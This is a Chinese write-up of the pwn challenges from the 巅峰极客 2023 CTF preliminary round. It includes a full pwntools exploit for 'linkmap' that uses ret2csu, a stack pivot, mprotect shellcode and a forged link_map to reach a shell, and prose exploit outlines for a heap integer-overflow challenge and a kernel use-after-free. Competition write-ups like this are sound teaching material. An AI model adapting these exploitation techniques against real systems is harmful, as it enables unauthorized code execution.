巅峰极客 2023 初赛 Pwn WriteUp
当时只出了linkmap,赛后就有师傅说kernel傻逼题,当天晚上也问到了darknote做法。
不过,我老鸽子了。(轻点打)
巅峰极客 2023 初赛 PWN WriteUp
linkmap wp
一开始以为打
Full RELRO
下的ret2dl-runtime-resolve
,然后去翻paper找gadget用ROP硬凹,然后发现我是傻逼
一个简单的栈溢出,但是没有任何输出函数。
考虑ROP
走dl-runtime-resolve
,很困难,_dl_runtime_resolve_xvzxc
没了,找要爬链表,而且相关gadget很难用。
用read
里的syscall
,走mprotect
写shellcode
。
got
表不可写,但是ret2csu
需要的是函数地址,所以把got
表中内容拿到bss
上改了然后放到r12
里就可以了。
先栈迁移扩大读,然后各种ret2csu
控制寄存器就可以了。
细节详见exp。
|
|
某天心血来潮,正值
0xGame
&NCTF
临近,就想整个活假设本题没有可以把地址放到内存中的函数,但是可以解引用到寄存器,且存在
add reg,8
这种gadget,
FULL RELRO
真的没办法用ret2dl-resolve
吗?提出ret2dl的那篇论文给了一个思路:动态链接库在权衡性能和安全性之后选择的一般都是 `Partial RELRO``
而且所有的
struct link_map
都在一个链表上(包括主程序和动态链接库),而link_map
上有指向got
表的指针(是的,libc里是有got
表的)所以理论上只要爬链表就可以拿到
got
表上的_dl_runtime_resolve_xsavec
,之后配合jmp rax
就可以了。当然以上情况建立在gadget完备的前提下。
但是想了想,感觉好像防不住将寄存器内容写入内存……
还有两个月NCTF,希望能整个好活吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
from pwn import * from random import randint context(arch='amd64', os='linux', log_level='debug') elf=ELF("./ezzzz") libc=ELF("./dbg-libc-2.31.so") if __name__=="__main__": # 0x400672: # mov rax, [rbp-8] # mov [rdx], rax # pop rbp # ret magic=0x400672 csu1=0x4007DA csu2=0x4007C0 rbp=0x400570 ret=0x4007E4 rsp_13__15=0x4007dd leave_ret=0x0000000000400715 add_ebx_esi=0x00000000004005d9 # add byte ptr [rbp + 5], dh ; jmp 0x400580 add_rbp_base_dh=0x00000000004005e8 # DT_DEBUG->d_ptr = *r_debug _DT_DEBUG=0x600EC0 # r_debug->r_map = *link_map # link_map->l_next->l_next = *target_link_map # target_link_map->l_info[DT_PLTGOT(3)][1][2] = *_dl_runtime_resolve_xsavec s=process("./ezzzz") #s=remote("pwn-3516d6634c.challenge.xctf.org.cn", 9999, ssl=True) pause() s.send(flat([ b"a"*0x18, csu1,0,1,elf.got.read,0xf00,0x601200,0, csu2,0,0,1,elf.got.read,0xf00,0x601d00-0x18,0, csu2,0,0,0,0,0,0,0, rsp_13__15,0x601d00-0x18 ])) shellcode=""" mov r15,0x600ec0 add r15,8 mov r15,qword ptr [r15] add r15,8 mov r15,qword ptr [r15] add r15,0x18 mov r15,qword ptr [r15] add r15,0x18 mov r15,qword ptr [r15] add r15,0x18 add r15,0x18 add r15,0x18 add r15,8 add r15,8 mov r15,qword ptr [r15] add r15,8 mov r15,qword ptr [r15] add r15,8 add r15,8 mov r15,qword ptr [r15] push 1 mov rdi,0x601378 push 0 push 0x601300 jmp r15 """ bss=0x601200 l_addr=libc.sym.system-libc.sym.__libc_start_main r_offset=bss+l_addr*-1 if l_addr<0: l_addr+=0x10000000000000000 fake_link_map_addr=bss+0x100 fake_dyn_strtab_addr=fake_link_map_addr+8 fake_dyn_symtab_addr=fake_link_map_addr+0x18 fake_dyn_rel_addr=fake_link_map_addr+0x28 fake_link_map=flat([ l_addr, 0,0x600000, 0,elf.got.__libc_start_main-8, 0,fake_link_map_addr+0x38, r_offset,7, ]).ljust(0x68,b"\x00")+flat([ fake_dyn_strtab_addr, fake_dyn_symtab_addr, b"/bin/sh\x00".ljust(0x80,b"\x00"), fake_dyn_rel_addr, ]) pause() s.send(asm(shellcode).ljust(0x100,b"\x00")+fake_link_map+b"\x00"*0x200) pause() s.send(flat([b"/flag\x00\x00\x00",10,ret])+flat([ csu1,0,1,0x601d00-8,0x601f00,0,0, csu2,0,0,elf.got.read+8,0,0,0,0, magic,0, csu1,0,1,0x601d00-8,0x1000,0,0, csu2,0,0,0,0,0,0,0, rbp,0x601f00-5, add_rbp_base_dh, csu1,0,1,0x601d00-8,0x601f20,0,0, csu2,0,0,0x601d00-8,0,0,0,0, magic,0, csu1,0,1,0x601f00,7,0x1000,0x601000, csu2,0,0,0,0,0,0,0, 0x601200, ])) s.interactive() #flag{HIxWafymtSYLkCE6e75iVfbtmeZb1IfG}
但据说都是已经被玩烂了的东西了emmmm
我好菜啊
darknote
起手先给你个任意分配任意大小堆块的机会。
add
直接写在主函数里了,其他三个功能都得先把TLS
里的canary
扬了才能用。
而且delete
和edit
直接裸UAF
糊脸。但你用不了,你说你气不气?
还有个猜初始化时的随机数,似乎是可以无限堆溢出,但后来看了看没啥用,也就放在那里了。
写死的add也没什么洞,那突破点基本就在最开始的任意大小堆块了。
众所周知分配大堆块位置会在libc周围,但你正常分配的话也没法越界写堆地址(堆块大小和数量对应)
然而,真的是这样吗?
注意到note_cnt
为int
,注意到申请的时候会x8,此时会将结果当作int
处理,此时若存在溢出……
note_cnt | note_cnt*8 | malloc_size |
---|---|---|
0x 20000000 | 0x1 00000000 | 0 |
0x 21000000 | 0x1 80000000 | 0x80000000 |
note_cnt
就能覆盖到malloc
堆块范围以外的部分了。
此时我们可以做到libc范围内任意写堆地址。
进而不难想到覆盖main_arena
中的fastbinsY_0x70
实现任意地址分配。
也要注意一下让
fastbin->next
==NULL
,要不然在往tcache
里甩的过程直接原地爆炸。反正大小够用往前多空出来几个零也问题不大嘛(
然后我们就可以想一想怎么泄露地址了。
注意到程序的菜单使用的是指针列表:
而且没开PIE
,直接把字符串表项覆盖成got
表,libc就来了。
TLS
相对偏移可以算,哥们直接把TLS
的canary
给扬了,后面就没啥好说的了。
|
|
mmsg
内核题,但是非预期,跟传世经典baby-driver
一个类型的那种。
module_init
里申请了kmalloc-32
,module_close
里kfree
后没把指针置零。open
两次close
一次就可以UAF
。
根据大小,这里选择seq_operations
栈迁移落回pt_regs
打ROP
。
后来看了一下,ioctl里可以任意大小分配,但是没法UAF。
问问隔壁师傅有没有预期解wp吧(
以下poc来自
tpluszzz
|
|
happy-bridge (未解出 未找到相关WriteUp)
一般堆引用了golang写的库。
开头的checkcheck
的逻辑是先base64,然后[a,l]=>[m,x],[m,x]=>[a,l],有点rot13的感觉(准确点说rot12)。
你直接decode给你的最终密文是出不来一整个可见字符串的,得变化一下,变化一下之后就能解码出明文了。
checker过了之后的堆好像没洞?
不懂他这个题洞在哪里。
结合这么长时间都没出,那估计就是没洞了吧(
或者在golang库里?他把malloc重写了?
|
|